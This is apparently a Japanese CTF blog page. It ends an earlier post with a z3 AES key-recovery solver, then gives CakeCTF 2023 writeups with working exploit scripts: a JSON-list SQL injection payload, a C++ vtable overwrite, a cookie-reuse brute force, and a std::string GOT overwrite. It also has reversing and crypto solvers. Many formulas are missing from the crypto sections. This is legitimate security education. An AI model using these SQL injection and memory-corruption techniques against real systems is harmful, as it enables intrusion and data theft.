0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D, ) s_box_idx = 0 def apply_s_box(prob: Solver, s: BitVec): global s_box_idx bv = BitVec(f'sbox_{s_box_idx}', 8) s_box_idx += 1 for i in range(256): prob.add(Implies(s == i, bv == s_box[i])) return bv def sub_bytes(prob, s): for i in range(4): for j in range(4): s[i][j] = apply_s_box(prob, s[i][j]) def shift_rows(s): s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1] s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2] s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3] def inv_shift_rows(s): s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1] s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2] s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3] def add_round_key(s, k): for i in range(4): for j in range(4): s[i][j] ^= k[i][j] r_con = ( 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A, 0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A, 0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39, ) def bytes2matrix(text): """ Converts a 16-byte array into a 4x4 matrix. """ return [list(text[i:i+4]) for i in range(0, len(text), 4)] def matrix2bytes(matrix): """ Converts a 4x4 matrix into a 16-byte array. """ return bytes(sum(matrix, [])) def xor_bytes(a, b): """ Returns a new byte array with the elements xor'ed. """ return [i^j for i, j in zip(a, b)] def inc_bytes(a): """ Returns a new byte array with the value increment by 1 """ out = list(a) for i in reversed(range(len(out))): if out[i] == 0xFF: out[i] = 0 else: out[i] += 1 break return bytes(out) class AES: """ Class for AES-128 encryption with CBC mode and PKCS#7. This is a raw implementation of AES, without key stretching or IV management. Unless you need that, please use `encrypt` and `decrypt`. """ rounds_by_key_size = {16: 1, 24: 1, 32: 1} def __init__(self): self.prob = Solver() """ Initializes the object with a given key. """ self.n_rounds = 1 self._key_matrices = self._expand_key() def _expand_key(self): """ Expands and returns a list of key matrices for the given master_key. """ # Initialize round keys with raw key material. # key_columns = bytes2matrix(master_key) key_columns = [[BitVec(f'key_{i}_{j}', 8) for j in range(4)] for i in range(4)] self.keys = [[key_columns[i][j] for j in range(4)] for i in range(4)] iteration_size = 4 i = 1 while len(key_columns) < (self.n_rounds + 1) * 4: # Copy previous word. word = list(key_columns[-1]) # Perform schedule_core once every "row". if len(key_columns) % iteration_size == 0: # Circular shift. word.append(word.pop(0)) # Map to S-BOX. word = [apply_s_box(self.prob, b) for b in word] # XOR with first byte of R-CON, since the others bytes of R-CON are 0. word[0] ^= r_con[i] i += 1 # XOR with equivalent word from previous iteration. word = xor_bytes(word, key_columns[-iteration_size]) key_columns.append(word) # Group key words in 4x4 byte matrices. return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)] def get_key(self, plaintext, gt_enc): """ Encrypts a single block of 16 byte long plaintext. """ assert len(plaintext) == 16 plain_state = bytes2matrix(plaintext) assert len(self._key_matrices) == 2 add_round_key(plain_state, self._key_matrices[0]) sub_bytes(self.prob, plain_state) # sbox shift shift_rows(plain_state) # rotate add_round_key(plain_state, self._key_matrices[-1]) out_mat = [[plain_state[i][j] for j in range(4)] for i in range(4)] plain_mat = bytes2matrix(gt_enc) for i in range(4): for j in range(4): self.prob += (out_mat[i][j] == plain_mat[i][j]) check = self.prob.check() assert check == sat m = self.prob.model() matrix = [[m[self.keys[i][j]].as_long() for j in range(4)] for i in range(4)] return m, matrix2bytes(matrix)
ソルバ自体のソースコードは以下の通り。
import aes_z3 import aes_raw import os from ptrlib import * p = Socket("***", ***) enc_la = bytes.fromhex(p.recvlineafter("enc(la): ").decode().strip()) plaintext = b'0123456789abcdef' p.sendlineafter("msg > ", plaintext.hex()) gt_enc = bytes.fromhex(p.recvlineafter("enc(msg): ").decode().strip()) cipher_z3 = aes_z3.AES() model, key = cipher_z3.get_key(plaintext, gt_enc) print(key) cipher_ans = aes_raw.AES(key) dec = cipher_ans.decrypt_block(enc_la) print(dec)
-
説明文に
Bruteforce up to 16-bit is allowed in this challenge.と書いてあったので心おきなく試せたが、そうでない場合はやらない方がいいし、手元環境でオフセットを特定できるのでそうした方がよい↩
CakeCTF 2023 writeups
2023/11/11-2023/11/12に行われた CakeCTF 2023 のupsolve。 一部の問題は既に解いていたが、AlpacaHack に問題が収録されていい機会なので全部解き直すことにした。
- Country DB (Web, 246 solves)
- vtable4b (Pwn, 217 solves)
- towfl (Web, 171 solves)
- nande (Rev, 93 solves)
- simple-signature (Crypto, 88 solves)
- bofww (Pwn, 75 solves)
- Cake Puzzle (Rev, 56 solves)
- Memorial Cabbage (Pwn, 45 solves)
- janken vs yoshiking 2 (Crypto, 43 solves)
- bofwow (Pwn, 22 solves)
- imgchk (Rev, 26 solves)
Country DB (Web, 246 solves)
Country Codeの入力画面があり、クエリを投げるとCountry Codeに対応する国の名前が得られる。
app.py にある実装を読むと、cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')") というSQLで database.db からデータを読みだしているらしい。
{code} にはエスケープされていない入力文字列がそのまま入る。
init_db.py を読むと、データベースには国旗リストの他に flag というテーブルが存在し、そこにフラグが保存されていることが分かる。クエリを上手く設定してSQLインジェクションを起こし、この値を得たいというのが問題の趣旨。
SQLインジェクションをするにあたり、以下の部分をバイパスする必要がある。
code = req['code'] if len(code) != 2 or "'" in code: flask.abort(400, "Invalid country code")
code が文字列であった場合長さ2の文字列しか受け付けず、この制限はかなり厳しいもののように思えるが、実際には code の値は flask.request.get_json()['code'] によって得られているため、code にはdictやlistを入れることができる。
そのため、payloadを ["文字列1", "文字列2"] のように与えることで、文字列長の制限や ' の存在判定を無視してこれをバイパスできる。
SQLインジェクションの方法はいくつかあるが、今回は union select * from flag のような文字列をクエリに追加する方針で解いた。リストを使ったりSQLへの代入部分が UPPER('') で囲まれていたりする都合で " や ' をうまく対応付けするのが難しいが、その辺りは頑張って調整。
最終的なpayloadは ["') union select * from flag where (1 OR '", "' = '"] となり、これでフラグを得られた。
vtable4b (Pwn, 217 solves)
ソースコードなしで、インスタンスに nc で接続すると以下のような画面が表示される。
Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:
class Cowsay {
public:
Cowsay(char *message) : message_(message) {}
char*& message() { return message_; }
virtual void dialogue();
private:
char *message_;
};
An instance of this class is allocated in the heap:
Cowsay *cowsay = new Cowsay(new char[0x18]());
You can
1. Call `dialogue` method:
cowsay->dialogue();
2. Set `message`:
std::cin >> cowsay->message();
Last but not least, here is the address of `win` function which you should call to get the flag:
<win> = 0x562e43bcb61a
1. Use cowsay
2. Change message
3. Display heap
> 3
[ address ] [ heap data ]
+------------------+
0x562e45ad6ea0 | 0000000000000000 |
+------------------+
0x562e45ad6ea8 | 0000000000000021 |
+------------------+
0x562e45ad6eb0 | 0000000000000000 | <-- message (= '')
+------------------+
0x562e45ad6eb8 | 0000000000000000 |
+------------------+
0x562e45ad6ec0 | 0000000000000000 |
+------------------+
0x562e45ad6ec8 | 0000000000000021 |
+------------------+
0x562e45ad6ed0 | 0000562e43bcece8 | ---------------> vtable for Cowsay
+------------------+ +------------------+
0x562e45ad6ed8 | 0000562e45ad6eb0 | 0x562e43bcece8 | 0000562e43bcb6e2 |
+------------------+ +------------------+
0x562e45ad6ee0 | 0000000000000000 | --> Cowsay::dialogue
+------------------+
0x562e45ad6ee8 | 000000000000f121 |
+------------------+
1. Use cowsay
2. Change message
3. Display heap
> 2
Message: Hello!
1. Use cowsay
2. Change message
3. Display heap
> 3
[ address ] [ heap data ]
+------------------+
0x562e45ad6ea0 | 0000000000000000 |
+------------------+
0x562e45ad6ea8 | 0000000000000021 |
+------------------+
0x562e45ad6eb0 | 0000216f6c6c6548 | <-- message (= 'Hello!')
+------------------+
0x562e45ad6eb8 | 0000000000000000 |
+------------------+
0x562e45ad6ec0 | 0000000000000000 |
+------------------+
0x562e45ad6ec8 | 0000000000000021 |
+------------------+
0x562e45ad6ed0 | 0000562e43bcece8 | ---------------> vtable for Cowsay
+------------------+ +------------------+
0x562e45ad6ed8 | 0000562e45ad6eb0 | 0x562e43bcece8 | 0000562e43bcb6e2 |
+------------------+ +------------------+
0x562e45ad6ee0 | 0000000000000000 | --> Cowsay::dialogue
+------------------+
0x562e45ad6ee8 | 000000000000f121 |
+------------------+
1. Use cowsay
2. Change message
3. Display heap
> 1
[+] You're trying to use vtable at 0x562e43bcece8
_______________________
< Hello! >
-----------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
1. Use cowsay
2. Change message
3. Display heap
>
プログラムの機能は「cowsayの呼び出し」「テキストの変更」「ヒープの表示」の3つであり、これを使ってアドレスが既知である win 関数を呼び出すのが目的。
まずはじめに脆弱性について。heapのビジュアライズ結果上で <-- message と指されている箇所が文字列が書き込まれる位置になるが、配列サイズが 0x18 なのに対して入力文字数には指定がなく、バッファオーバーランが起こせる。
これを用いると <-- vtable for Cowsay と指されている箇所を任意のアドレスで置き換えることができる。
<-- vtable for Cowsay と指されている箇所はvtableへのポインタを表す。
vtableは関数へのポインタが並んだ配列であり、cowsayのように仮想関数を持つクラスでは、関数の呼び出し時にはvtableを経由して本来呼び出すべき関数へジャンプしているらしい。
<-- vtable for Cowsay の箇所はvtableそのものではなくvtableへのポインタを指すため、このポインタが指す先は任意の値を書き込めるような領域にしたい。今回は <-- message のアドレスを代入し、message の先頭8バイトがvtableの中身となるようにした。
その後、message の先頭8バイトを win 関数のアドレスに書き換える。こうすることにより、関数呼び出し時の遷移先が win 関数の先頭となる。
この状態でのheapの中身は下の通り。vtableの中身が win 関数となっていることが確認できる。
[ address ] [ heap data ]
+------------------+
0x55f367db9ea0 | 0000000000000000 |
+------------------+
0x55f367db9ea8 | 0000000000000021 |
+------------------+
0x55f367db9eb0 | 000055f367c3561a |
+------------------+
0x55f367db9eb8 | 4141414141414141 |
+------------------+
0x55f367db9ec0 | 4141414141414141 |
+------------------+
0x55f367db9ec8 | 4141414141414141 |
+------------------+
0x55f367db9ed0 | 000055f367db9eb0 | ---------------> vtable for Cowsay (corrupted)
+------------------+ +------------------+
0x55f367db9ed8 | 000055f367db9e00 | 0x55f367db9eb0 | 000055f367c3561a |
+------------------+ +------------------+
0x55f367db9ee0 | 0000000000000000 | --> <win> function
+------------------+
0x55f367db9ee8 | 000000000000f121 |
+------------------+
ここからcowsayを呼び出すことで win 関数が発火し、無事にシェルを得ることができた。
ソースコードは以下の通り。
from ptrlib import * p = Socket('***', port) def change_message(msg): p.sendlineafter('3. Display heap\n> ', 2) p.sendlineafter('Message: ', msg) win = int(p.recvlineafter(' <win> = '), 16) p.sendlineafter('3. Display heap\n> ', 3) top_addr = int(p.recvlineafter('----+\n').split()[0], 16) str_addr = top_addr + 0x10 change_message(p64(win) + b'A' * 0x18 + p64(str_addr)) p.interactive()
towfl (Web, 171 solves)
問題文が謎の言語で記述されているクイズを解く問題。各問題は4択で100問ほどあり、全ての問題に正答するとフラグが得られるらしい。
サーバー部はFlaskで実装されており、APIは以下の通り。
api_start: 問題を作成しDBに保存api_get_question: 問題文の一覧を返却api_submit: 解答を保存api_score: 得点を計算し、正答数が100ならflagを返す
問題の解答は完全にランダムに設定されるため、この部分の予測はできない。
この問題の脆弱性は問題とセッションと問題の管理部分にある。
api_start と api_score の実装を抜粋して載せる。
def api_start(): if 'eid' in flask.session: eid = flask.session['eid'] else: eid = flask.session['eid'] = os.urandom(32).hex() # Create new challenge set db().set(eid, json.dumps([new_challenge() for _ in range(10)])) return {'status': 'ok'} @app.route("/api/score", methods=['GET']) def api_score(): if 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} # Calculate score and give the flag if score == 100 ... # Prevent reply attack flask.session.clear() return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
このコードから、問題文はデータベース上に flask.session['eid'] をキーとして保存されていること、reply attackの防止のために得点計算時に flask.session.clear() が実行されることが分かる。
しかし、得点計算時にはセッションのみがclearされ問題は削除されないため、flask.session['eid'] が同じセッションを用意する、つまり、Cookieを使いまわし続けることで問題を変えずに回答を再提出することができる。
sessionの維持が実現できた後は1～100問目まで順番に答えを全探索すればよい。
ソースコードは以下の通り。
from ptrlib import * import requests url = "*****" session = "*****" def submit(answers): ans_mat = [[answers[i * 10 + j] for j in range(10)] for i in range(10)] res = requests.post(url + "/api/submit", json=ans_mat, headers={"Cookie": f"session={session}"}) res = requests.get(url + "/api/score", headers={"Cookie": f"session={session}"}) data = res.json()['data'] print(data) score = int(data['score']) return score ans = [0 for _ in range(100)] for i in range(100): r = [] for j in range(4): ans[i] = j r.append((submit(ans), j)) r.sort() ans[i] = r[-1][1] print(i, j)
nande (Rev, 93 solves)
Windowsの実行ファイルがデバッグ用のPDBファイルと共に渡される。
実行ファイルの引数に文字列を入力するとその文字列がフラグであるかどうか判定してくれるため、処理を逆算してフラグを求めたい。
Ghidraでデコンパイルしたものを読んでPythonのソースコードに書き換えた結果が以下の通り。
from ptrlib import * in_arr = [False for i in range(256)] # is obtained by the input string ans_arr = [False for i in range(256)] # is the array of magic numbers out_arr = [False for i in range(256)] def nand(a, b): return not (a and b) def module(a, b): x = nand(a, b) y = nand(a, x) z = nand(b, x) w = nand(y, z) return w for iter in range(0x1234): for j in range(0xff): out_arr[j] = module(in_arr[j], in_arr[j + 1]) out_arr[0xff] = module(in_arr[0xff], True) for j in range(0x100): in_arr[j] = out_arr[j] if all([out_arr[i] == answer[i] for i in range(256)]): print("Correct!")
ここで、in_arr は入力テキストをバイナリにしたものであり、ans_arr はプログラム中に埋め込まれている配列となっている。
関数 module の挙動を実験により観察してみると、実はこの関数が単純なxor演算を表すことがわかる。このことから、module の引数1つと出力からもう1つの引数を復元する逆演算も同じ関数で求められる。
したがって、メイン部分の処理をそのまま逆順で行うように変更してあげることで、ans_arr から in_arr の復元を行える。
ソースコードは以下の通り。
from ptrlib import * answer = b'\x01\x01\x01\x01\x01\x00\x00\x01\x01\x00\x00\x01\x00\x00\x01\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x01\x00\x01\x00\x01\x01\x01\x00\x00\x00\x01\x01\x00\x01\x01\x01\x01\x00\x01\x00\x01\x00\x00\x01\x00\x01\x00\x01\x01\x00\x01\x00\x00\x01\x01\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x01\x00\x01\x01\x01\x00\x00\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x01\x01\x01\x01\x00\x01\x01\x00\x00\x00\x01\x01\x00\x00\x01\x01\x00\x01\x01\x00\x00\x00\x01\x00\x01\x01\x01\x00\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x00\x01\x00\x00\x01\x01\x00\x01\x01\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x01\x01\x00\x01\x01\x00\x01\x01\x00\x01\x00\x01\x00\x01\x00\x00\x01\x01\x01\x01\x01\x00\x01\x01\x00\x01\x01\x01\x00\x00\x01\x00\x01\x01\x00\x01\x01\x00\x00\x01\x00\x00\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x01\x00\x01\x01\x00' in_arr = [False for i in range(256)] # is obtained by the input string ans_arr = [False for i in range(256)] # is the array of magic numbers for i in range(256): ans_arr[i] = (answer[i] == 1) def nand(a, b): return not (a and b) def module(a, b): # xor x = nand(a, b) y = nand(a, x) z = nand(b, x) w = nand(y, z) return w def module_inv(b, w): # xor_inv = xor return module(b, w) out_arr = ans_arr for iter in range(0x1234): in_arr[0xff] = module_inv(True, out_arr[0xff]) for j in reversed(range(0xff)): in_arr[j] = module_inv(in_arr[j + 1], out_arr[j]) for j in range(0x100): out_arr[j] = in_arr[j] for i in range(32): s = ''.join(map(lambda x: str(int(x)), in_arr[i*8:i*8+8][::-1])) print(chr(int(s, 2) & 127), end="")
simple-signature (Crypto, 88 solves)
署名とその検証が行えるプログラムが渡される。ソースコードは以下の通り。
import os import sys from hashlib import sha512 from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD import signal flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}") p = getStrongPrime(512) g = 2 def keygen(): while True: x = getRandomRange(2, p-1) y = getRandomRange(2, p-1) w = getRandomRange(2, p-1) v = w * y % (p-1) if GCD(v, p-1) != 1: continue u = (w * x - 1) * inverse(v, p-1) % (p-1) return (x, y, u), (w, v) def sign(m, key): x, y, u = key r = getRandomRange(2, p-1) return pow(g, x*m + r*y, p), pow(g, u*m + r, p) def verify(m, sig, key): w, v = key s, t = sig return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p def h(m): return int(sha512(m.encode()).hexdigest(), 16) if __name__ == '__main__': magic_word = "cake_does_not_eat_cat" skey, vkey = keygen() print(f"p = {p}") print(f"g = {g}") print(f"vkey = {vkey}") signal.alarm(1000) while True: choice = input("[S]ign, [V]erify: ").strip() if choice == "S": message = input("message: ").strip() assert message != magic_word sig = sign(h(message), skey) print(f"(s, t) = {sig}") elif choice == "V": message = input("message: ").strip() s = int(input("s: ").strip()) t = int(input("t: ").strip()) assert 2 <= s < p assert 2 <= t < p if not verify(h(message), (s, t), vkey): print("invalid signature") continue print("verified") if message == magic_word: print(f"flag = {flag}") sys.exit(0) else: break
magic_word を除く任意の文章を任意の回数暗号化することができ、magic_word に対する有効な署名を検証させることができればフラグが得られる。
署名を検証する部分では、入力 に対して
であるかどうかを判定している。
はメッセージのsha512ハッシュであり、
は全て既知。
ここで、 とおき、
と
をそれぞれ
で置き換えてみる。すると、判定に使われている式は
となる。
が既知なため、この条件を満たすような
の組は容易に求められる。具体的には、
がその一例になる。
したがって、 とすることでフラグを得られる。実際に用いたコードは以下の通り。
from ptrlib import * from hashlib import sha512 soc = Socket("***", ***) def h(m): return int(sha512(m.encode()).hexdigest(), 16) p = int(soc.recvlineafter("p = ").strip().decode()) g = 2 w, v = eval(soc.recvlineafter("vkey =").strip().decode()) k = (1 + v) * inverse(w, p-1) % (p-1) magic_word = "cake_does_not_eat_cat" msg = h(magic_word) M = pow(g, msg, p) s = pow(M, k, p) t = M soc.sendlineafter("[S]ign, [V]erify: ", "V") soc.sendlineafter("message: ", magic_word) soc.sendlineafter("s: ", str(s)) soc.sendlineafter("t: ", str(t)) soc.interactive()
bofww (Pwn, 75 solves)
C++のバイナリとソースコード、問題サーバーが与えられる。ソースコードは以下の通り。
#include <iostream> void win() { std::system("/bin/sh"); } void input_person(int& age, std::string& name) { int _age; char _name[0x100]; std::cout << "What is your first name? "; std::cin >> _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; } int main() { int age; std::string name; input_person(age, name); std::cout << "Information:" << std::endl << "Age: " << age << std::endl << "Name: " << name << std::endl; return 0; } __attribute__((constructor)) void setup(void) { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); }
checksec で確認すると、バイナリはPartial RELROでCanary有効、no PIEとなっている。
win 関数を呼び出すのがこの問題の目標で、脆弱性は char _name[0x100] に任意の長さの文字列が入力できることに起因するバッファオーバーラン。
cin >> _name で関数呼び出し元のスタックを自由に書き換えられるため、input_person の引数として渡されている name や age を書き換えることができる。
今回狙うのは std::string に対する攻撃。
std::string の先頭8バイトは文字列を表すデータへのポインタとなっており、name = _name の部分の代入演算では右辺の文字列がそのままポインタが指すアドレスに書き込まれる。この性質を用いてGOT overwriteを狙う。
name の先頭8バイトを __stack_chk_fail のGOTに書き換えて、_name の先頭8バイトを win のアドレスにする。こうすることで、 name = _name によって __stack_chk_fail のGOTが win に書き換えられ、 __stack_chk_fail が発火するタイミングでRIPを win へ飛ばすことができる。
ただし、std::string にはデータのサイズを表す部分が存在し、そのサイズが代入元の文字列長より短いとメモリの再確保が発生してしまうため、再確保を回避するためにデータのサイズも書き換える必要がある。
この辺りの詳細は この記事 が詳しい。
exploitに用いたソースコードは以下の通り。これを実行することでフラグが得られた。
from ptrlib import * e = ELF("./bofww") p = Socket("***", ***) payload = p64(e.symbol('_Z3winv')) + b'\0' * 0x128 payload += p64(e.got('__stack_chk_fail')) payload += p64(0x500) payload += p64(0x500) p.sendlineafter("What is your first name? ", payload) p.sendlineafter("How old are you? ", 100) p.interactive()
Cake Puzzle (Rev, 56 solves)
Cのバイナリが与えられる。Ghidraで解析すると、q() の値が0になるまで繰り返される無限ループがあり、ループ内では入力を1文字受け取って何らかの操作を行っていることが分かる。q()==0 の際に win() が呼ばれるので、その条件を達成するのが目的。
q() の中身を適当に読むと以下のようなコードになっていることが分かる。
def q(): c = 0 for i in range(3): for j in range(3): if M[i][j + 1] <= M[i][j]: return 1 if M[i + 1][j] <= M[i][j]: return 1 return c
ここで、M はintが入った4×4の二次元配列で、マジックナンバーで初期化されている。二次元配列になっていること自体はデコンパイルされた情報のみからでは分からないが、各値に i*4 + j, (i+1)*4 + j, i*4 + (j+1) の形でアクセスしていることを考えると十中八九そうだろうと推測できる。
操作を行っている関数 e() では、入力が U,R,D,L であるときに、M[i][j]=0 と隣接するセルの値をswapしている。M[i][j]=0 のセルを空欄だと解釈すると、これはスライドパズル（15パズル）になっていると考えられる。
そうだと分かれば後はソルバを書けば良い。今回は q() に違反しているような (i, j) の組の個数を評価関数とした、同一盤面の複数回探索をハッシュで回避する幅優先探索で実装した。
コードは以下の通り。
bs = b'\xdb\x56\x58\x44\x04\x03\x23\x4c\x9f\x44\x22\x00\xb7\x96\x1a\x67\xf7\x44\x56\x6c\x87\x62\xf4\x7f\x29\xc8\xe9\x6e\x72\x2e\xda\x5c\x00\x00\x00\x00\xc9\x88\x8e\x69\x4f\x5a\xe6\x33\x54\x5c\xcc\x50\x1a\x83\x49\x13\x74\x8f\xc8\x53\xb9\x8a\x85\x25\xd8\x76\xf9\x72' # bs to 32bit int array def bs2ints(bs): return [int.from_bytes(bs[i:i+4], 'little') for i in range(0, len(bs), 4)] ints = bs2ints(bs) sorted = sorted(list(enumerate(ints)), key=lambda x: x[1]) ints = [0 for _ in range(16)] for i, v in enumerate(sorted): ints[v[0]] = i # ints to 2D array M = [ints[i:i+4] for i in range(0, len(ints), 4)] def eval(M): c = 0 for i in range(3): for j in range(3): if M[i][j + 1] <= M[i][j]: c += 1 if M[i + 1][j] <= M[i][j]: c += 1 return c # win def list_2d_to_int(l): return int.from_bytes(b''.join([i.to_bytes(4, 'little') for row in l for i in row]), 'little') used = set() used.add(list_2d_to_int(M)) sx, sy = 0, 0 for i in range(4): for j in range(4): if M[i][j] == 0: sx, sy = i, j import heapq # solve slidepuzzle def solve(M): q = [] heapq.heappush(q, (eval(M), M, sx, sy, [])) while q: sc, m, x, y, l = heapq.heappop(q) for (dx, dy), c in zip([(-1, 0), (1, 0), (0, -1), (0, 1)], 'UDLR'): nx, ny = x + dx, y + dy if 0 <= nx < 4 and 0 <= ny < 4: nm = [[x for x in row] for row in m] nm[x][y], nm[nx][ny] = nm[nx][ny], nm[x][y] nsc = eval(nm) if nsc == 0: print(nm) return l + [c] hash = list_2d_to_int(nm) if hash not in used: used.add(hash) heapq.heappush(q, (nsc, nm, nx, ny, l + [c])) ans = ''.join(solve(M)) print(ans) from ptrlib import * p = Socket("***", ***) for c in ans: p.sendlineafter('>', c) p.interactive()
余談だが、15パズルの正当性判定で用いている q() の実装にはちょっとした不備がある。盤面が厳密に [[0,1,2,3],[4,5,6,7],...,] のように並んでいる必要はなく、しかも行ごと、列ごとにソートされている必要もない。
単なる作問ミスだったのかどうかは分からないが、この穴が原因で15パズルを解くパートの難易度がちょうど良く下がっているといえるのかもしれない（？）。
Memorial Cabbage (Pwn, 45 solves)
CのソースコードとDockerfile、バイナリが配布されているPwn。ソースコードは以下の通り。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX" static char *tempdir; void setup() { char template[] = TEMPDIR_TEMPLATE; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); if (!(tempdir = mkdtemp(template))) { perror("mkdtemp"); exit(1); } if (chdir(tempdir) != 0) { perror("chdir"); exit(1); } } void memo_r() { FILE *fp; char path[0x20]; char buf[0x1000]; strcpy(path, tempdir); strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt"); if (!(fp = fopen(path, "r"))) return; fgets(buf, sizeof(buf) - 1, fp); fclose(fp); printf("Memo: %s", buf); } void memo_w() { FILE *fp; char path[0x20]; char buf[0x1000]; printf("Memo: "); if (!fgets(buf, sizeof(buf)-1, stdin)) exit(1); strcpy(path, tempdir); strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt"); if (!(fp = fopen(path, "w"))) return; fwrite(buf, 1, strlen(buf), fp); fclose(fp); } int main() { int choice; setup(); while (1) { printf("1. Write memo\n" "2. Read memo\n" "> "); if (scanf("%d%*c", &choice) != 1) break; switch (choice) { case 1: memo_w(); break; case 2: memo_r(); break; default: return 0; } } }
mkdtemp で作成したtmpフォルダ以下の /memo.txt にメモファイルを生成し、読み書きを行っている。ファイルパスは毎回 strcpy で作成し、fopen と fclose でファイルディスクラプタを開いたり閉じたりしている。
ファイルのopenとcloseがともに関数内で行われているため、ファイルディスクリプタを弄って何かすることは難しい。また、fgets や fwrite にも不自然な点はなく、バッファオーバーランや書式文字列攻撃などの余地もない。
このプログラムの脆弱性は setup() 内で呼ばれている mkdtemp(template) にある。mkdtemp はディレクトリ名のテンプレートを入力にテンポラリディレクトリを作成し、ディレクトリへのパスを返すコマンドになっている。
この関数は、引数として渡した文字列（のアドレスの先にある値）の XXXXX となっている部分を直接書き換えて、引数として渡したアドレスをそのまま返す。
つまり、tempdir = mkdtemp(template) の実行後は、tempdir に格納されているアドレスが template のアドレスとなるのである。
template はstack領域のある箇所を指すポインタであり、tempdir にはスタックのアドレスが入ることになる。実際にgdbで確認すると、tempdir が指すアドレスは main 関数のスタックフレームの少し上に位置することがわかる。
スタックフレームは文字通りスタックのように管理されるため、memo_r() や memo_w() が呼び出される際のスタックフレームは setup() が呼び出される際のスタックフレームと共有され、
setup() の中で tempdir が位置していたアドレスは、memo_r() や memo_w() の中では buf の一部分を指すことになる。
したがって、memo_w() で tempdir が位置していたアドレスに /flag.txt を入力し、memo_r() でファイルを読み込むことでフラグを得ることができる。
ソースコードは以下の通り。
from ptrlib import * p = Socket("***", ***) ofs = 4080 payload = b'A' * ofs + b'/flag.txt\0\n' p.sendlineafter("> ", "1") p.sendafter("Memo: ", payload) p.interactive()
janken vs yoshiking 2 (Crypto, 43 solves)
じゃんけんに100連勝するとフラグが貰える。開始時にはプログラム中に直書きされている素数 とランダム生成の行列
が与えられ、各じゃんけんの前には
が与えられる。ここで、
が手を表しているため、
の情報からうまく
を復元したい、というのが問題の趣旨。
プログラムはsageで書かれており、要点だけ抜粋すると以下の通り。
def commit(M, m): while True: r = random.randint(2, 2**256) if r % 3 + 1 == m: break return M**r, r flag = '...' p = 1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111 M = random_matrix(GF(p), 5) print("[yoshiking]: Here is p: {}, and M: {}".format(p, M.list())) while True: yoshiking_hand = random.randint(1, 3) C, r = commit(M, yoshiking_hand) print("[yoshiking]: my commitment is={}".format(C.list())) hand = input("[system]: your hand(1-3): ") result = (yoshiking_hand - hand + 3) % 3 if result == 1: wins += 1 if wins >= 100: break else: exit() print(flag)
直書きされている を調べると OEISの表 がヒットする。
はEuclid numberと呼ばれている数で、
が最初の
個の素数の積になっているらしい。
の各素因数が小さい場合、Pohlig-Hellman algorithmによって離散対数問題を効率的に解くことができる。ただし、今回の場合
が行列であるため、この方法は直接使うことができない。
しかし、行列を直接扱わずに行列式を用い、
と
から
を満たす
を求める問題として解くことで、無事に
を復元できる。
コードは以下の通り。
